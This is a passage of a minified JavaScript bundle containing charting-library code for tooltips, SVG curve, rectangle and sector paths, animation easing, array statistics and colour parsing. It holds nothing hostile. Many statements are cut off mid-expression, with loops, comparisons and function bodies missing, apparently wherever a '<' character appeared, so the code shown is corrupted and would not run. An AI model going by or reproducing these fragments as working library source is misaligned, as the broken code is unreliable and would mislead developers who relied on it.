l.height>0&&l.width>0&&n?(f=Iy({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:a,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),m=Iy({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:a,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=oM({translateX:f,translateY:m,useTranslate3d:c})):d=aM,{cssProperties:d,cssClasses:sM({translateX:f,translateY:m,coordinate:n})}}function Dy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function $l(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,a;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(a=this.props.coordinate)===null||a===void 0?void 0:a.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:a,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:m,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:k}=lM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:m,viewBox:h}),S=v?{}:$l($l({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},k),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),N=$l($l({},S),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return p.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:N,ref:y},a)}}var gN=()=>{var e;return(e=ye(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function Xm(){return Xm=Object.assign?Object.assign.bind():function(e){for(var t=1;tze(e.x)&&ze(e.y),Fy=e=>e.base!=null&&uu(e.base)&&uu(e),Os=e=>e.x,Ts=e=>e.y,hM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Go(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=By["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return By[n]||ud},Wy={connectNulls:!1,type:"linear"},xM=e=>{var{type:t=Wy.type,points:n=[],baseLine:r,layout:i,connectNulls:a=Wy.connectNulls}=e,o=hM(t,i),l=a?n.filter(uu):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>$y($y({},x),{},{base:r[g]}));i==="vertical"?c=_l().y(Ts).x1(Os).x0(x=>x.base.x):c=_l().x(Os).y1(Ts).y0(x=>x.base.y);var d=c.defined(Fy).curve(o),f=a?u.filter(Fy):u;return d(f)}var m;i==="vertical"&&he(r)?m=_l().y(Ts).x1(Os).x0(r):he(r)?m=_l().x(Os).y1(Ts).y0(r):m=Ej().x(Os).y(Ts);var h=m.defined(uu).curve(o);return h(l)},Ba=e=>{var{className:t,points:n,path:r,pathRef:i}=e,a=us();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||a,connectNulls:e.connectNulls},l=n&&n.length?xM(o):r;return p.createElement("path",Xm({},Cr(e),Sx(e),{className:Xe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},vM=["x","y","top","left","width","height","className"];function Zm(){return Zm=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(a,",").concat(t,"h").concat(n),SM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:a=0,height:o=0,className:l}=e,c=jM(e,vM),u=gM({x:t,y:n,top:r,left:i,width:a,height:o},c);return!he(t)||!he(n)||!he(a)||!he(o)||!he(r)||!he(i)?null:p.createElement("path",Zm({},Dt(u),{className:Xe("recharts-cross",l),d:NM(t,n,a,o,r,i)}))};function zM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function Vy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Hy(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),yN=(e,t,n)=>e.map(r=>"".concat(AM(r)," ").concat(t,"ms ").concat(n)).join(","),_M=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Lo=(e,t)=>Object.keys(t).reduce((n,r)=>Hy(Hy({},n),{},{[r]:e(r,t[r])}),{});function Ky(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ut(e){for(var t=1;te+(t-e)*n,Qm=e=>{var{from:t,to:n}=e;return t!==n},bN=(e,t,n)=>{var r=Lo((i,a)=>{if(Qm(a)){var[o,l]=e(a.from,a.to,a.velocity);return ut(ut({},a),{},{from:o,velocity:l})}return a},t);return n<1?Lo((i,a)=>Qm(a)&&r[i]!=null?ut(ut({},a),{},{velocity:du(a.velocity,r[i].velocity,n),from:du(a.from,r[i].from,n)}):a,t):bN(e,r,n-1)};function LM(e,t,n,r,i,a){var o,l=r.reduce((m,h)=>ut(ut({},m),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Lo((m,h)=>h.from,l),u=()=>!Object.values(l).filter(Qm).length,d=null,f=m=>{o||(o=m);var h=m-o,x=h/n.dt;l=bN(n,l,x),i(ut(ut(ut({},e),t),c())),o=m,u()||(d=a.setTimeout(f))};return()=>(d=a.setTimeout(f),()=>{var m;(m=d)===null||m===void 0||m()})}function IM(e,t,n,r,i,a,o){var l=null,c=i.reduce((f,m)=>{var h=e[m],x=t[m];return h==null||x==null?f:ut(ut({},f),{},{[m]:[h,x]})},{}),u,d=f=>{u||(u=f);var m=(f-u)/r,h=Lo((g,y)=>du(...y,n(m)),c);if(a(ut(ut(ut({},e),t),h)),m<1)l=o.setTimeout(d);else{var x=Lo((g,y)=>du(...y,n(1)),c);a(ut(ut(ut({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const DM=(e,t,n,r,i,a)=>{var o=_M(e,t);return n==null?()=>(i(ut(ut({},e),t)),()=>{}):n.isStepper===!0?LM(e,t,n,o,i,a):IM(e,t,n,r,o,i,a)};var fu=1e-4,wN=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],jN=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),qy=(e,t)=>n=>{var r=wN(e,t);return jN(r,n)},RM=(e,t)=>n=>{var r=wN(e,t),i=[...r.map((a,o)=>a*o).slice(1),0];return jN(i,n)},$M=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(a=>parseFloat(a));return[i[0],i[1],i[2],i[3]]},BM=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=qy(e,n),a=qy(t,r),o=RM(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,m=0;m<8;++m){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,a=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,m=c*i/1e3+o;return Math.abs(m-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return Yy(e);case"spring":return WM();default:if(e.split("(")[0]==="cubic-bezier")return Yy(e)}return typeof e=="function"?e:null};function VM(e){var t,n=()=>null,r=!1,i=null,a=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(a.bind(null,u),c);return}a(c),i=e.setTimeout(a.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),a(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class HM{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,a=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(a))};return i=requestAnimationFrame(a),()=>{i!=null&&cancelAnimationFrame(i)}}}function KM(){return VM(new HM)}var qM=p.createContext(KM);function YM(e,t){var n=p.useContext(qM);return p.useMemo(()=>t??n(e),[e,t,n])}var GM=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Dd={isSsr:GM()},XM={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},Gy={t:0},rp={t:1};function Rd(e){var t=fn(e,XM),{isActive:n,canBegin:r,duration:i,easing:a,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Dd.isSsr:n,f=YM(t.animationId,t.animationManager),[m,h]=p.useState(d?Gy:rp),x=p.useRef(null);return p.useEffect(()=>{d||h(rp)},[d]),p.useEffect(()=>{if(!d||!r)return cs;var g=DM(Gy,rp,UM(a),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,a,o,c,l,f]),u(m.t)}function $d(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=p.useRef(Po(t)),r=p.useRef(e);return r.current!==e&&(n.current=Po(t),r.current=e),n.current}var ZM=["radius"],QM=["radius"],Xy,Zy,Qy,Jy,e1,t1,n1,r1,i1,a1;function s1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function o1(e){for(var t=1;t{var a=ti(n),o=ti(r),l=Math.min(Math.abs(a)/2,Math.abs(o)/2),c=o>=0?1:-1,u=a>=0?1:-1,d=o>=0&&a>=0||o<0&&a<0?1:0,f;if(l>0&&Array.isArray(i)){for(var m=[0,0,0,0],h=0,x=4;hl?l:y}f=Qe(Xy||(Xy=Zn(["M",",",""])),e,t+c*m[0]),m[0]>0&&(f+=Qe(Zy||(Zy=Zn(["A ",",",",0,0,",",",",",""])),m[0],m[0],d,e+u*m[0],t)),f+=Qe(Qy||(Qy=Zn(["L ",",",""])),e+n-u*m[1],t),m[1]>0&&(f+=Qe(Jy||(Jy=Zn(["A ",",",",0,0,",`, + `,",",""])),m[1],m[1],d,e+n,t+c*m[1])),f+=Qe(e1||(e1=Zn(["L ",",",""])),e+n,t+r-c*m[2]),m[2]>0&&(f+=Qe(t1||(t1=Zn(["A ",",",",0,0,",`, + `,",",""])),m[2],m[2],d,e+n-u*m[2],t+r)),f+=Qe(n1||(n1=Zn(["L ",",",""])),e+u*m[3],t+r),m[3]>0&&(f+=Qe(r1||(r1=Zn(["A ",",",",0,0,",`, + `,",",""])),m[3],m[3],d,e,t+r-c*m[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=Qe(i1||(i1=Zn(["M ",",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=Qe(a1||(a1=Zn(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},u1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},kN=e=>{var t=fn(e,u1),n=p.useRef(null),[r,i]=p.useState(-1);p.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var F=n.current.getTotalLength();F&&i(F)}catch{}},[]);var{x:a,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:m,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=p.useRef(l),v=p.useRef(c),b=p.useRef(a),w=p.useRef(o),j=p.useMemo(()=>({x:a,y:o,width:l,height:c,radius:u}),[a,o,l,c,u]),k=$d(j,"rectangle-");if(a!==+a||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var S=Xe("recharts-rectangle",d);if(!g){var N=Dt(t),{radius:z}=N,_=l1(N,ZM);return p.createElement("path",pu({},_,{x:ti(a),y:ti(o),width:ti(l),height:ti(c),radius:typeof u=="number"?u:void 0,className:S,d:c1(a,o,l,c,u)}))}var A=y.current,O=v.current,P=b.current,I=w.current,U="0px ".concat(r===-1?1:r,"px"),D="".concat(r,"px 0px"),M=yN(["strokeDasharray"],m,typeof f=="string"?f:u1.animationEasing);return p.createElement(Rd,{animationId:k,key:k,canBegin:r>0,duration:m,easing:f,isActive:g,begin:h},F=>{var R=St(A,l,F),W=St(O,c,F),$=St(P,a,F),H=St(I,o,F);n.current&&(y.current=R,v.current=W,b.current=$,w.current=H);var X;x?F>0?X={transition:M,strokeDasharray:D}:X={strokeDasharray:U}:X={strokeDasharray:D};var se=Dt(t),{radius:ue}=se,ge=l1(se,QM);return p.createElement("path",pu({},ge,{radius:typeof u=="number"?u:void 0,className:S,d:c1($,H,R,W,u),ref:n,style:o1(o1({},X),t.style)}))})};function d1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function f1(e){for(var t=1;te*180/Math.PI,st=(e,t,n,r)=>({x:e+Math.cos(-mu*r)*n,y:t+Math.sin(-mu*r)*n}),NN=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},o8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:a}=t;return Math.sqrt((n-i)**2+(r-a)**2)},l8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:a}=t,o=o8({x:n,y:r},{x:i,y:a});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>a&&(c=2*Math.PI-c),{radius:o,angle:s8(c),angleInRadian:c}},c8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),a=Math.min(r,i);return{startAngle:t-a*360,endAngle:n-a*360}},u8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),a=Math.floor(r/360),o=Math.min(i,a);return e+o*360},d8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:a}=l8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=c8(t),d=a,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?f1(f1({},t),{},{radius:i,angle:u8(d,t)}):null};function SN(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:a}=e,o=st(t,n,r,i),l=st(t,n,r,a);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:a}}var p1,m1,h1,x1,v1,g1,y1;function Jm(){return Jm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=Ut(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Bl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:a,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/mu,f=c?i:i+a*d,m=st(t,n,u,f),h=st(t,n,r,f),x=c?i-a*d:i,g=st(t,n,u*Math.cos(d*mu),x);return{center:m,circleTangency:h,lineTangency:g,theta:d}},zN=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:a,endAngle:o}=e,l=f8(a,o),c=a+l,u=st(t,n,i,a),d=st(t,n,i,c),f=Qe(p1||(p1=Ri(["M ",",",` + A `,",",`,0, + `,",",`, + `,",",` + `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(a>c),d.x,d.y);if(r>0){var m=st(t,n,r,a),h=st(t,n,r,c);f+=Qe(m1||(m1=Ri(["L ",",",` + A `,",",`,0, + `,",",`, + `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(a<=c),m.x,m.y)}else f+=Qe(h1||(h1=Ri(["L ",","," Z"])),t,n);return f},p8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:a,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=Ut(u-c),{circleTangency:f,lineTangency:m,theta:h}=Bl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:a,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Bl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:a,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?Qe(x1||(x1=Ri(["M ",",",` + a`,",",",0,0,1,",`,0 + a`,",",",0,0,1,",`,0 + `])),m.x,m.y,a,a,a*2,a,a,-a*2):zN({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=Qe(v1||(v1=Ri(["M ",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",",` + `])),m.x,m.y,a,a,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,a,a,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:k}=Bl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),{circleTangency:S,lineTangency:N,theta:z}=Bl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),_=l?Math.abs(c-u):Math.abs(c-u)-k-z;if(_<0&&a===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=Qe(g1||(g1=Ri(["L",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",","Z"])),N.x,N.y,a,a,+(d<0),S.x,S.y,r,r,+(_>180),+(d>0),w.x,w.y,a,a,+(d<0),j.x,j.y)}else b+=Qe(y1||(y1=Ri(["L",",","Z"])),t,n);return b},m8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},CN=e=>{var t=fn(e,m8),{cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(a0&&Math.abs(u-d)<360?g=p8({cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=zN({cx:n,cy:r,innerRadius:i,outerRadius:a,startAngle:u,endAngle:d}),p.createElement("path",Jm({},Dt(t),{className:m,d:g}))};function h8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(Kj(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:a,outerRadius:o,angle:l}=t,c=st(r,i,a,l),u=st(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return SN(t)}}var PN={},EN={},AN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Lx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(AN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=AN;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(EN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Ix,n=EN;function r(i,a,o){o&&typeof o!="number"&&t.isIterateeCall(i,a,o)&&(a=o=void 0),i=n.toFinite(i),a===void 0?(a=i,i=0):a=n.toFinite(a),o=o===void 0?it?1:e>=t?0:NaN}function v8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function qx(e){let t,n,r;e.length!==2?(t=fi,n=(l,c)=>fi(e(l),c),r=(l,c)=>e(l)-c):(t=e===fi||e===v8?e:g8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:a}}function g8(){return 0}function ON(e){return e===null?NaN:+e}function*y8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const b8=qx(fi),tl=b8.right;qx(ON).center;class b1 extends Map{constructor(t,n=k8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(w1(this,t))}has(t){return super.has(w1(this,t))}set(t,n){return super.set(w8(this,t),n)}delete(t){return super.delete(j8(this,t))}}function w1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function w8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function j8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function k8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function N8(e=fi){if(e===fi)return TN;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function TN(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const S8=Math.sqrt(50),z8=Math.sqrt(10),C8=Math.sqrt(2);function hu(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),a=r/Math.pow(10,i),o=a>=S8?10:a>=z8?5:a>=C8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=a-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function k1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function MN(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?TN:N8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),m=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+m)),x=Math.min(r,Math.floor(t+(c-u)*f/c+m));MN(e,t,h,x,i)}const a=e[t];let o=n,l=r;for(Ms(e,n,t),i(e[r],a)>0&&Ms(e,n,r);o0;)--l}i(e[n],a)===0?Ms(e,n,l):(++l,Ms(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function Ms(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function P8(e,t,n){if(e=Float64Array.from(y8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return k1(e);if(t>=1)return j1(e);var r,i=(r-1)*t,a=Math.floor(i),o=j1(MN(e,a).subarray(0,a+1)),l=k1(e.subarray(a+1));return o+(l-o)*(i-a)}}function E8(e,t,n=ON){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,a=Math.floor(i),o=+n(e[a],a,e),l=+n(e[a+1],a+1,e);return o+(l-o)*(i-a)}}function A8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,a=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Fl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Fl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=T8.exec(e))?new Vt(t[1],t[2],t[3],1):(t=M8.exec(e))?new Vt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=L8.exec(e))?Fl(t[1],t[2],t[3],t[4]):(t=I8.exec(e))?Fl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=D8.exec(e))?A1(t[1],t[2]/100,t[3]/100,1):(t=R8.exec(e))?A1(t[1],t[2]/100,t[3]/100,t[4]):N1.hasOwnProperty(e)?C1(N1[e]):e==="transparent"?new Vt(NaN,NaN,NaN,0):null}function C1(e){return new Vt(e>>16&255,e>>8&255,e&255,1)}function Fl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Vt(e,t,n,r)}function F8(e){return e instanceof nl||(e=Ro(e)),e?(e=e.rgb(),new Vt(e.r,e.g,e.b,e.opacity)):new Vt}function ih(e,t,n,r){return arguments.length===1?F8(e):new Vt(e,t,n,r??1)}function Vt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Xx(Vt,ih,IN(nl,{brighter(e){return e=e==null?xu:Math.pow(xu,e),new Vt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Io:Math.pow(Io,e),new Vt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Vt(Vi(this.r),Vi(this.g),Vi(this.b),vu(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:P1,formatHex:P1,formatHex8:W8,formatRgb:E1,toString:E1}));function P1(){return`#${$i(this.r)}${$i(this.g)}${$i(this.b)}`}function W8(){return`#${$i(this.r)}${$i(this.g)}${$i(this.b)}${$i((isNaN(this.opacity)?1:this.opacity)*255)}`}function E1(){const e=vu(this.opacity);return`${e===1?"rgb(":"rgba("}${Vi(this.r)}, ${Vi(this.g)}, ${Vi(this.b)}${e===1?")":`, ${e})`}`}function vu(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function Vi(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function $i(e){return e=Vi(e),(e<16?"0":"")+e.toString(16)}function A1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Rn(e,t,n,r)}function DN(e){if(e instanceof Rn)return new Rn(e.h,e.s,e.l,e.opacity);if(e instanceof nl||(e=Ro(e)),!e)return new Rn;if(e instanceof Rn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),a=Math.max(t,n,r),o=NaN,l=a-i,c=(a+i)/2;return l?(t===a?o=(n-r)/l+(n0&&c<1?0:o,new Rn(o,l,c,e.opacity)}function U8(e,t,n,r){return arguments.length===1?DN(e):new Rn(e,t,n,r??1)}function Rn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Xx(Rn,U8,IN(nl,{brighter(e){return e=e==null?xu:Math.pow(xu,e),new Rn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Io:Math.pow(Io,e),new Rn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Vt(ip(e>=240?e-240:e+120,i,r),ip(e,i,r),ip(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new 